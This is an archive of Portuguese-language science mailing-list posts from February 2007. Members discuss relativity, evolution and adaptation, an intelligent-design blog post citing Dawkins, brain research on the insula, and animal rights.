nessa área, para todos os gostos. Convido a todos, embora a casa não
seja minha.
>
> E-mail, para contato:
> relatividad@yahoogroups.com
>
> Gostaria de reencontar amigos do ciencialist por lá.
>
> Sds,
> Victor.
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] Re: Fórum Relatividad
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 08:35



----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 21, 2007 3:53 AM
Subject: [ciencialist] Re: Fórum Relatividad


Takata: Relatividade... teoria da relatividade de Einstein ou relatividade
epistemológica?

Victor: Também, que é um tempêro que não pode faltar; ou seja, "... enfoques científicos, nessa área, para todos os gostos". Basicamente, trata-se da Teoria da Relatividade, em termos de seus postulados e de suas consequências, que alguns não aceitam( por não haverem entendido, e buscam uma compreensão), em termos de novas proposições, etc.; há, nesse sentido, até um teorizador que apresenta novas formulações(por exemplo, uma alternativa clássica para obtenção da precessão de Mercúrio e de todos os demais planetas) para toda a TR, por aí. Há relativistas profissionais da área, etc. Mas aviso que não é um grupo avançado, apesar de haver um ou dois profissionais da área.

Sds,
Victor.


[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
> Lista,
>
> Há algum tempo participo de um fórum espanho, sobre relatividade.
Está sendo proveitoso e tem de tudo, lá: relativistas de carteirinha,
sem carteirinha, penetras, não relativistas, interessados no assunto,
sem outras pretensão que apenas se informar. Tem até gente, lá.
> Basicamente, só trata de relatividade, pois os participantes estão
centrados nesse ramo do conhecimento. E tem enfoques científicos,
nessa área, para todos os gostos. Convido a todos, embora a casa não
seja minha.
>
> E-mail, para contato:
> relatividad@yahoogroups.com
>
> Gostaria de reencontar amigos do ciencialist por lá.
>
> Sds,
> Victor.
>
>
>
>
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SUBJECT: Fw: [ciencialist] Re: Email RicardoSoares
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 10:52


Caro Léo,

Não sei por quais cargas d´água apenas hoje pude ler este seu e-mail, de um longínquo 1/10/2006.
É bem verdade que há um sem número de e-mails, em preto, ainda, que não consiguí ler, por falta de tempo. Este e-mail, contudo, estava com a indicação de que eu o havia lido!... Só que não lembro! Será que tem coisa chegando? Bem, de qualquer maneira, peço-lhes desculpas por não haver retornado ainda, agradecendo, envaidecido, a disponibilização de seu execelente site. Seria uma honra, mas teria que ter disciplinado o suficiente para não me ater a um único trabalho, se o objetivo é informar. Além disso, teria que burilar mais a maneira de escrever e informar. Num site como o seu, o linguajar precisa ser mais comportado, mais formal, do que o que uso nestas nossas conversas de botequim virtual. Mas, de futuro, se me sentir suficientemente corajoso, poderei propor algum trabalho, para publicação no O Imperdível!. Lá, já tem tanta coisa boa e de tanta utilidade!

Sds,
Victor.


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, October 01, 2006 8:41 PM
Subject: Re: [ciencialist] Re: Email RicardoSoares


Ponho o Feira de Ciências à disposição!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 1 de outubro de 2006 16:02
Assunto: [ciencialist] Re: Email RicardoSoares


Olá Victor,

Estive acompanhando as suas mensagens (e as dos demais),
principalmente aquelas sobre a equação de Poisson...

Você escreve muito bem sobre estes assuntos, já pensou em colocar
estas "dicas" em algum site? Algo assim nada formal, mais para
esclarecer sobre o assunto mesmo... Acho que seria uma boa ideia...

Quanto ao meu e-mail, pode escrever em ricardosoaresvieira@gmail.com ,

Abraço

Ricardo.






--- Em ciencialist@yahoogrupos.com.br, "jvictor" <jvoneto@u...> escreveu
>
> Olá, Ricardo Soares.
>
> Perdí um e-mail, com um artigo seu anexado, e, com isso, perdí também
> seu e-mail pessoal.
>
> Preciso dar um retorno sobre, mas estou sem seu endereço eletrônico
pessoal.
>
> Por isso, os sinais de fumaça, para lhe comunicar.
>
> Grato.
>
> Victor.
>






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SUBJECT: Re: [ciencialist] Dawkins 'falou e disse' porque estudar Zoologia: "Design Inteligente"!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
CC: <strbrasil@yahoogrupos.com.br>
DATE: 21/02/2007 11:20

Ah! Que falta nos faz um Molière!

Pobre Darwin, apenas não percebeu o caráter "ao acaso", mas deixou claro que a 'seleção natural' ocorre depois das mutações ... e, de modo geral, os mais fracos são os privilegiados.
Homero, Beethoven, e carradas de outros 'infortunados' (cegos, surdos etc.) nos deixaram um legado e nunca um pugilista, campeão do decathon, esmurrador profissional ou o mais forte da manada!
Viva a evolução!

aquele abraço,

Léo voltando do Rancho à beira do Rio Grande e, passei o sábado de carnaval em Planura-MG no cordão alcoólico denominado "ETAnóis!".

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Joaquim de Campos Salles" <joaquimsalles@ibest.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Cc: <strbrasil@yahoogrupos.com.br>
Enviada em: segunda-feira, 19 de fevereiro de 2007 20:54
Assunto: [ciencialist] Dawkins 'falou e disse' porque estudar Zoologia: "Design Inteligente"!


Olá Pessoal,

Recebi o post abaixo. Design inteligente não é uma forma de criacionismo? Dawkins inspirou isso?!?!?!?!?!?

Abraços confusos

Joaquim


http://pos-darwinista.blogspot.com/2006/05/dawkins-falou-e-disse-porque-estudar.html


Dawkins 'falou e disse' porque estudar Zoologia: "Design Inteligente"!

Por que alguém privilegiaria o estudo da Zoologia em detrimento de outras áreas biológicas também importantes? Bem, subjetividade à parte, eu também acho fascinante esta área de estudos biológicos, mas eu estou em outra - História e Teoria da Ciência. Para desespero da Nomenklatura científica e dos ultradarwinistas fundamentalistas, diga-se de passagem.

Eu nem sei o que a Nomenklatura científica e seus mais cegos 'discípulos' vão alegar, mas deve ser mais ou menos assim - 'Isso é uma campanha difamatória'; 'Foi um pequeno lapso'; 'Estão citando fora de contexto', 'É mais uma conspiração contra a verdadeira ciência'.

Senhores, e especialmente os meninos, fiquem calmos. Afinal de contas, teve até aval de uma das mais importantes universidade pública brasileira - a USP, mas quem disse a frase abaixo incentivando os estudantes a escolher a Zoologia como área de estudos e pesquisas, Paley, Behe ou Dembski?

"O terceiro leitor que tive em mente [sic] foi o estudante, realizando a transição de leigo para o especialista. Se ele ainda não se decidiu em que campo quer se especializar, espero encorajá-lo a considerar meu próprio campo da Zoologia. Há uma razão melhor [sic] para estudar a Zoologia do que sua possível 'utilidade' e estima que os animais provocam [sic]. Esta razão é que nós animais somos as máquinas mais complicadas e perfeitamente planejadas [sic] do universo conhecido. Apresentada desta forma [sic], é difícil entender como alguém pode estudar qualquer outra coisa!"

Prontos para a notícia chocante? Revisores da USP, o que foi que houve? Vocês cochilaram na função de 'guarda-cancelas epistemológicos'? Quem registrou isso foi ninguém nada menos do que RICHARD DAWKINS, prefaciando seu livro "O Gene Egoísta", Belo Horizonte/São Paulo: Itatiaia e Editora da Universidade de São Paulo, 1989, p. 18.

Isso se deu originalmente em 1979 quando o livro foi publicado na Inglaterra, uma década bem antes de Behe, Dembski terem lançado a Teoria do Design Inteligente.

Por favor, me entendam - não estou afirmando que Dawkins é 'precursor' da teoria do design moderna, mas eu fico impressionado como que ele, como os demais biólogos, não consegue se livrar da realidade e da detecção de design inteligente na natureza.

No seu livro "O Relojoeiro Cego", São Paulo: Companhia das Letras, 2001, p. 18, ele escreveu:

"A biologia é o estudo das coisas complexas que dão a impressão de ter um design intencional".
1
Vocês já perceberam a fixação cabalística com a página 18 nos livros de Dawkins no Brasil? Deve ser um número de sorte. Ou azar...

Contudo, apesar de suas 488 páginas, ao contrário de Dembski (filtro explanatório para detectar design), Dawkins não nos disse qual é o método científico adotado para 'detectar' a ilusão de design intencional. Como detectar 'ilusão' deve ser objeto epistêmico para uma 'teoria do tudo da evolução'...

Os que participaram da augusta comissão editorial científica da USP devem ter ficado corados. Desculpem-me, alguns já podem até estar mortos, mas fica aqui o registro post-mortem de que vocês falharam clamorosamente com a Nomenklatura científica! E ela não perdoa, por ser stalinista!

Fui, mas deixo um abraço fraterno a todos. Este blogger está passando por um processo 'evolutivo' no modo de escrever, mas não deixará de lado a ironia à la Bernard Shaw, Mark Twain, e do nosso único e verdadeiro imortal - o barão de Itararé!

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SUBJECT: Periódico Tchê Química 7
FROM: "Luis" <luis.alcides@he.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 14:42

Prezados colegas, convidamos a todos que quiserem ler a sétima
edição do Periódico Tchê Química a fazer o download da revista a
partir do endereço:

http://www.deboni.he.com.br/ccount/click.php?id=47

Saudações, De Boni.



SUBJECT: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
CC: <Conversa_de_Botequim@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 21/02/2007 15:06

Jeff:

No processo evolutivo- tomemos os humanos como exemplo: o crescimento demográfico obrigou os "homo" primitivos - e esse processo continua até hoje - a buscar novos habitats. E eles o fizeram com êxito: os humanos ocuparam quase a totalidade das regiões da Terra - dos Polos aos Trópicos, adaptando-se ao meio ambiente e dele tirando as coiusas necessárias ao seu viver.
Os esquimós vivem no ártico, sob temperaturas extremas e, mesmo tendo oportunidades de emigrar, não o fazem: já estão perfeitamente adaptados ao meio ambiente.
Se você comparar um bosquímano australiano e um esquimó verá que inclusive os corpos foram alterados para a melhor adaptação às condições ambientais o que, errôneamente, alguns intelectuais chamam de raça o que não tem o menor fundamento pois todos nós temos uma origem comum: a célula primordial.
Afirmar qualquer coisa, categóricamente, não dando espaço ao contraditório é apenas criar um ambiente bizantino....

sds.,

,silvio.

Dizer que é "selecionado" é a mesma coisa que adaptado pois a seleção dos mais fortes para enfrentar o novo ambiente é a seleção natural.
----- Original Message -----
From: Jefferson
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 9:14 AM
Subject: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha


>
>O que que é isso?
>Jamais nos adaptamos ao frio? Nenhum animal o fez?
>

Ele quis dizer que não se adapta, é selecionado. Dizer que um ser se adapta,
dá a impressão de que ele desejou isso, o que não é verdade.

[]',s
Jeff.
.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: E-mails duplicados do Fórum - Help
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 16:06

Srs. Moderadores, um help.

Estou recebendo todos os e-mails do Ciencialist duplicados, como se fossem poucos os que já vêm daí, normalmente. O que poderia estar havendo? Onde buscar solução no Yahoo!. Agradeceria uma ajuda para solucionar isto.

Sds,
Victor.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Crueldade com animais
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 16:17

A lei de Talião, vigente desde a aurora do mundo.

silvio
----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 1:30 PM
Subject: Re: [ciencialist] Re: Crueldade com animais


Fico pouco tempo no PC , as vezes o "flood" dessa
lista assusta!!!

Aí vai uma perguntinha:

Qual o principio que faz com que haja punição caso se
mate algum ser humano ???

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 16:22

>
>No processo evolutivo- tomemos os humanos como exemplo: o crescimento
>demográfico obrigou os "homo" >primitivos - e esse processo continua até
>hoje - a buscar novos habitats. E eles o fizeram com êxito: os humanos
> >ocuparam quase a totalidade das regiões da Terra - dos Polos aos
> >Trópicos,
>adaptando-se ao meio ambiente e dele >tirando as coiusas necessárias ao seu
>viver.
>

Há, pelo menos, uns 15 mil anos já estávamos no mundo inteiro, chegando na
América do Sul por último... Se a "beríngia" não tivesse se formado
possivelmente não teria 1 único humano vivo nas américas! Mesmo se validada
alguma teoria de migrações de polinésios ou africanos pelos oceanos, ele não
sobreviveram, pois todas as civilizações americanas pré-colombianas são
descendentes de asiáticos... Já pensou? Os europeus chegariam aqui e não
veriam ninguém, ia ser mole demais :-)

>
>Se você comparar um bosquímano australiano e um esquimó verá que inclusive
>os corpos foram alterados para a melhor adaptação às condições ambientais o
>que, errôneamente, alguns intelectuais chamam de raça o que não tem o menor
>fundamento pois todos nós temos uma origem comum: a célula primordial.
>

O mais correto é dizer que tiveram alterações selecionadas pelo o ambiente
do que "foram alterados para...".
Raça é o mesmo que sub-espécie. Os biólogos não consideram raças humanas
porque não há tantas diferenças entre as etnias (termo preferível) para
classificá-las como sub-espécies do homo sapiens (Takata, me corrija se eu
não tiver sendo exato).

>
>Afirmar qualquer coisa, categóricamente, não dando espaço ao contraditório

>apenas criar um ambiente bizantino....
>

Não entendí :-)

[]',s
Jeff.



SUBJECT: A NOVA PINEAL
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Acropolis_@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 16:27

Grupos.com.br
mbsantos@trf3.gov.br wrote:


A anatomia das emoções


Uma pequena estrutura do cérebro, a ínsula, está surpreendendo os cientistas, que ali descobrem a sede de diversos sentimentos humanos

Anna Paula Buchalla

Numa das regiões mais recônditas do cérebro, os neurocientistas encontraram uma nova peça para um dos mais instigantes quebra-cabeças da medicina - o mapeamento das emoções humanas. Do tamanho de uma ameixa seca, a ínsula trabalha em parceria com outras duas estruturas cerebrais, o córtex pré-frontal e a amígdala (estes, sim, velhos conhecidos dos estudiosos no controle de diversas emoções). A ínsula funciona como uma espécie de intérprete do cérebro ao traduzir sons, cheiros ou sabores em emoções e sentimentos como nojo, desejo, orgulho, arrependimento, culpa ou empatia. "Ela dá colorido psíquico às experiências sensoriais", diz o neurocirurgião Arthur Cukiert. Ou, como definiu o psiquiatra americano Martin Paulus, professor da Universidade da Califórnia, é na ínsula que o corpo e a mente se encontram.

Descrita pela primeira vez no fim do século XVIII, pelo anatomista e fisiologista alemão Johann Christian Reil, a ínsula sempre foi negligenciada pelos pesquisadores. A dificuldade de acesso impedia estudos mais minuciosos sobre sua fisiologia. Nos últimos dez anos, graças ao aperfeiçoamento dos exames de imagens, como a ressonância magnética funcional, a ínsula despertou a atenção dos neurocientistas. Flagrada em pleno funcionamento, já se viu que ela é ativada toda vez que alguém ri de uma piada, ouve música, reconhece expressões de tristeza no rosto de outra pessoa, quer se vingar ou decide não fazer uma compra (veja o quadro) "Os estudos já mostraram também que a superativação da ínsula está relacionada a diversos distúrbios psiquiátricos, sobretudo as fobias e o transtorno obsessivo-compulsivo", diz o neurologista Mauro Muszkat, da Universidade Federal de São Paulo. Imagens do cérebro indicam que lesões na ínsula podem levar à apatia, à perda de libido, a alterações na memória de curto prazo e à incapacidade de alguém distinguir pelo cheiro um alimento fresco de outro estragado.

O trabalho mais fascinante sobre a ínsula foi divulgado recentemente pela revista científica Science. Tudo começou com a história do senhor N., de 38 anos. Tabagista compulsivo, ele fumava cerca de quarenta cigarros por dia. Um derrame, no entanto, fez com que ele instantaneamente abandonasse o vício - "esquecesse a vontade de fumar", como descreveu aos pesquisadores das universidades de Iowa e do Sul da Califórnia, nos Estados Unidos. Com o derrame, a ínsula do senhor N. havia sido lesionada. Outros pacientes, também fumantes e com danos na mesma região cerebral, foram avaliados. A maioria deles perdeu a vontade de fumar. Esse estudo foi o primeiro a relacionar uma área específica do cérebro ao vício. "O tabagismo não pode ser explicado apenas pela ação da nicotina no cérebro", diz Nasir Naqvi, um dos autores da pesquisa. "O vício deflagra uma série de mudanças comportamentais e fisiológicas - o aumento dos batimentos cardíacos, a elevação da pressão, a alteração do paladar e a sensação da fumaça entrando nos pulmões, entre outras." Todas essas informações são processadas na ínsula e traduzidas na ânsia de acender mais um cigarro. Trabalhos como esse abrem o caminho para o desenvolvimento de novos tratamentos contra o tabagismo e outros vícios, como a dependência de drogas e o alcoolismo.

Como se trata de uma área de pesquisa relativamente nova, a ciência ainda não conseguiu esmiuçar todas as funções da ínsula. As diferentes partes do cérebro não agem isoladamente, mas por meio de circuitos múltiplos, que interagem entre si - o que torna o estudo do cérebro extremamente complexo. De qualquer forma, as descobertas recentes sobre a ínsula são uma fonte preciosa de informações sobre a anatomia das emoções. Um dos grandes estudiosos do tema é o neurocientista português António Damásio. Ele busca em seus estudos a base biológica das emoções e da consciência humanas. "Os sentimentos não são nem inatingíveis nem ilusórios. São o resultado de uma curiosa organização fisiológica que transformou o cérebro no público cativo das emoções teatrais do corpo", escreveu Damásio no livro O Erro de Descartes.

A ponte entre o corpo e a mente

ONDE FICA

Do tamanho de uma ameixa seca, a ínsula está localizada numa das áreas mais profundas do cérebro, na face interna do lobo temporal, um dos sistemas envolvidos no processamento da memória, do pensamento e da linguagem

O QUE SE SABIA SOBRE A ÍNSULA...

Até dez anos atrás, a ínsula era caracterizada como uma das áreas mais primitivas do cérebro, envolvida em atividades básicas como alimentar-se e fazer sexo

...E O QUE REVELAM AS DESCOBERTAS MAIS RECENTES

. Na porção frontal da ínsula, experiências sensoriais são transformadas em emoções e sentimentos como nojo, desejo, decepção, culpa, ressentimento, orgulho, humilhação, arrependimento, compaixão e empatia

. Ela prepara o organismo para situações que ainda estão por vir. Quando, por exemplo, alguém tem de sair de casa e lá fora faz frio, a ínsula é ativada de modo a ajustar o metabolismo para enfrentar a situação

. A ínsula modula a resposta do organismo a estímulos dolorosos

. Em pacientes vítimas de fobias e de transtorno obsessivo-compulsivo, a ínsula registra atividade intensa




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SUBJECT: Re: [ciencialist] Re: Qual o objetivo da discussão?
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 16:40

O intento é sermos livres,
a começar por não dependermos dos animais não-humanos.

Silvio Cordeiro <scordeiroes@superig.com.br> escreveu: Mestre:

Tomo a liberdade de dar minha opinião:
Se as vacas fossem minhas, eu as salvaria primeiro.
O defunto cremado serviria para adubo.
Se não fosse proprietário nem pudesse roubar as vacas, perguntaria ao cidadão em quem ele votou. E tomaria uma decisão.

Aproveitando o ensejo, gostaria de entrar para a falange dos adoradores da deusa Sensatez.
A gran sacerdotiza Bruna poderia detalhar o escopo?

grato,

silvio

sds.,
silvio.
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 6:28 PM
Subject: [ciencialist] Re: Qual o objetivo da discussão?

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> O meu objetivo, Manu, é converter a todos para minha religião chamada
> Sensatez.

Bom senso é um dos bens mais bem distribuídos do mundo: todo mundo acha
que tem.

Continua a pergunta: 200 vacas ou 1 ser humano - quem vc salvaria
prioritariamente em um incêndio?

[]s,

Roberto Takata

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SUBJECT: Re: [ciencialist] Re: Qual o objetivo da discussão?
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 17:02

Olá Bruna

Bruna: "O intento é sermos livres, a começar por não dependermos dos animais não-humanos."

Sinto muito, isso jamais vai acontecer. Toda sua fauna intestinal, necessária a sua sobrevivência, deve continar a existir, e você a depender dela. Sei que como é uma fauna microscópica, você não dá tanto valor a ela como a um lindo coelhinho felpudo, mas são animais não humanos de toda forma.

Seu corpo todo é composto de mais bactérias do que de células, na verdade. Provavelmente, muitas das organelas de suas células são descendentes de animais de vida livre, como as mitocondrias (que tem DNA próprio e que se reproduzem de forma independente de você e de seu DNA humano, sua cruel exploradora de mitocondrias indefesas..:-).

A forma como a vida evoluiu no planeta garante isso, que todos os seres vivos dependam, de diversas formas, uns dos outros, inclusive para se alimentarem.

É um desejo, portanto, impossível de ser alcançado esse o seu, de não depender de animais não humanos.

E mesmo que considerassemos possível, não pensa que é uma motivação bastante egoista, ser livre, que não tem nada a ver com defender os pobres animaizinhos (menos os ratos e baratas, claro)?

Um abraço.

Homero



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SUBJECT: Re: [ciencialist] Re: Qual o objetivo da discussão?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 17:14

Mestre:

Tomo a liberdade de dar minha opinião:
Se as vacas fossem minhas, eu as salvaria primeiro.
O defunto cremado serviria para adubo.
Se não fosse proprietário nem pudesse roubar as vacas, perguntaria ao cidadão em quem ele votou. E tomaria uma decisão.

Aproveitando o ensejo, gostaria de entrar para a falange dos adoradores da deusa Sensatez.
A gran sacerdotiza Bruna poderia detalhar o escopo?

grato,

silvio

sds.,
silvio.
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 6:28 PM
Subject: [ciencialist] Re: Qual o objetivo da discussão?


--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> O meu objetivo, Manu, é converter a todos para minha religião chamada
> Sensatez.

Bom senso é um dos bens mais bem distribuídos do mundo: todo mundo acha
que tem.

Continua a pergunta: 200 vacas ou 1 ser humano - quem vc salvaria
prioritariamente em um incêndio?

[]s,

Roberto Takata






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SUBJECT: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 17:26

Murilo:
É que no jargão dos marinheiros, "safo" indica que alguma coisa foi liberada: ex: uma corda, um registro, etc.
sds.,
silvio
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 7:18 PM
Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO


Legião estrangeira?!
Papo no grupo que está se alistando no exército.
- Por que vc quer servir?, pergunta um cara casado de meia-idade para o
jovem solteiro ao lado.
- Estou querendo ação e emoção... E o senhor, por que quer servir?
- Estou em busca de paz...
........................................

From: "murilo filo" <avalanchedrive@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 9:17 PM
Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO

> Silvio:
> pra mim safo é uma gíria muito antiga ( uns 45 anos ), entre SP e MG.
> Sem marinha.
> Desistí de entrar na marinha p/encarar a legião estrangeira...
> Eu queria é confusão.
> Só que pouco antes disso, falou mais alto a minha educação... Fiquei +
> sossegado! Me safei! :[
> E vc, é marinheiro?
> abr/M.
>
>
>>From: "Silvio" <scordeiroes@superig.com.br>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: <ciencialist@yahoogrupos.com.br>
>>Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>>Date: Mon, 12 Feb 2007 16:28:01 -0300
>>
>>Murilo:
>>vs. é da marinha? (safo)
>>
>>silvio
>>
>> ----- Original Message -----
>> From: murilo filo
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Thursday, February 08, 2007 9:54 PM
>> Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>>
>>
>>
>>
>> Eu também sabia... Estou safo!
>>
>> Atividade nos últimos dias
>> a.. 1Novos usuários
>> b.. 1Novas fotos
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SUBJECT: Evoluçao, comportamento, gêneros e DNA
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 19:33

Ha alguns anos atrás, eu assistia um documentário que falava sobre
diferenças entre os gêneros. Em determinado momento, um sujeito falava sobre
como as diferenças comportamentais entre homens e mulheres teriam surgido a
medida em que o homem se dedicava mais à caça, e as mulheres aos cuidados
com filhos e plantas. Isso tem algum embasamento ?

Quero dizer, se o DNA está sendo constantemente recombinado, e parte do DNA
da mãe passa por exemplo, para o filho, e de um pai passa para uma filha..
como seria possivel que ocorresse essa evoluçao comportamental em paralelo,
entre os gêneros?

Se o gênero das crianças é definido após já estar praticamente "formado" o
restante do corpo, poderia haver alguma influencia do DNA acontecendo ainda
assim? A seleçao natural não atua a nivel de DNA primeiramente?

Minha opinião é que após formado o ser humano, os hormonios, a socialização,
o corpo já adulto e as expectativas da sociedade , sim, influenciam o
comportamento, muito além das influências biológicas básicas, que parecem
ser recobertas muito facilmente pela nossa cultura. Minha dúvida é se é
possivel haver essa influencia comportamental herdada do modo de vida e do
"papel" que desempenhavam, se os gêneros são interdependentes e sempre o
material genético "transita" entre ambos os gêneros.

Sei que é uma pergunta boba, mas eu queria enterrar de vez essa dúvida.

Nao sei se ficou bem esclarecida a questão, qualquer coisa tento reformular.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: ] As baratas, nossas irmãzinhas!!!
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 19:58

Romano:

O maior valor que uma pessoa pode ter é a amizade com outros semelhantes.
O amor, com suas diversas concepções, dá margem a questionamentos.
Já o ódio, é coisa de se manter sempre íntegro e inviolável
bem no fundo do coração: quando vejo a humanidade assaltada há 4.000 anos por mitos, seitas e religiões, quando vejo nossa terra ser espoliada do suor de seus filhos por impostos que vão enriquecer um grupo de congressistas, juizes e administradores públicos, há também, em igual monta de se exacerbar o ódio por causas que milhões já morreram (lutas religiosas e guerras).
sds.,
silvio

romano_170 wrote:


Não concordo.

Existem leis naturais universais válidos pra qualquer cultura, o amor
é uma delas, o ódio em qualquer cultura é prejudical, nos leva a matar
e cometer todos os tipos de atrocidades.
Se as leis da física valem em qualquer lugar da Terra, as leis morais
tb são válidas a qualquer cultura. Não podemos dar como normal o
linchamento de pessoas em determinadas culturas. Pelos direitos
humanos universais, todo mundo merece um julgamento digno. Enfim, é um
assunto muito discutível

Sds,Romano

--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
>
> Ricardo,
>
> Você fechou claramente o que tentei expor com exemplos, centrados em
circunstâncias igualmente claras. Moral, ética, religião,
comportamento, enfim, tudo é uma função geográfica!. Para mim,isto é
de uma clareza, sobre o que não tenho dúvidas, o que me economiza o
tempo de estar elaborando perguntas e mais perguntas. Minha realidade
é minha realidade. A de outros, é a de outros. Que só depende do lugar
e/ou das circunstâncias, como se tem corretamente enfatizado. Imagina
que eu, civilizado como penso que sou, tivesse nascido em uma tribo
brasileira, digamos, a Tupinambá. Numa guerra, aprisionei uma linda
guerreira. Ia comê-la, sim senhor! Aí, depois, viria uma batata de
perna, um... Se não fosse ela, seria eu. Bem, já almocei.
>
> Sds,
> Victor.






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 20:13

Pode também surgir novo predador ou um virus letal para a espécie... a vida na biosfera não segue regras: é simplesmente a lei do mais preparado para conseguir mais espaço, mais alimentação e ter proteção para sua descendência. Nada mais. Os humanos estão nessa e numa ruim: com a degradação da biosfera por certo nossa espécie não dura 500 anos.3

E OS INSETOS HERDARÃO A TERRA ATÉ O COLAPSO FINAL...
a novela, em outro universo ou mesmo nesse, voltará à velha rotina....

sds.,
silvio
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 14, 2007 12:14 AM
Subject: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> From: "rmtakata" <roberto.takata@To:
> Essa não é uma evidência, posto q a outra hipótese tb explica isso.

> Que outra hipótese? A evidência é que o ser sobreviveu até hoje e
> sobreviverá se não houver uma mudança brusca no meio ambiente.

A hipótese de q a sobrevivência não depende de intenção.

> JR - Não creio que haja planejamento ou intenção mas sim adaptação
> por questão, digamos, de economia energética visando manter o ser
> vivo.

Elimine a expressão "visando a" - isso é planejamento. A economia
energética é conseqüência .

> JR - Mas é exatamente isso que é ocorre na prática em um período de
> tempo maior.

Estamos falando para o projeto para o qual o engenheiro foi contratado.

[]s,

Roberto Takata






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SUBJECT: transcrevo da Fapesp:
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <noosfera_II@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 21/02/2007 20:39

Alguns companheiros acham que existe lógica, uma razão de ser no universo....


Cometas fazem farra em nebulosa

14/02/2007

Agência FAPESP - A festa é de arromba, mas os vizinhos parecem não se importar. Diversos cometas estão colidindo uns com os outros e levantando poeira em escala literalmente astronômica em torno de uma estrela morta há cerca de 700 anos-luz, na constelação de Aquário.

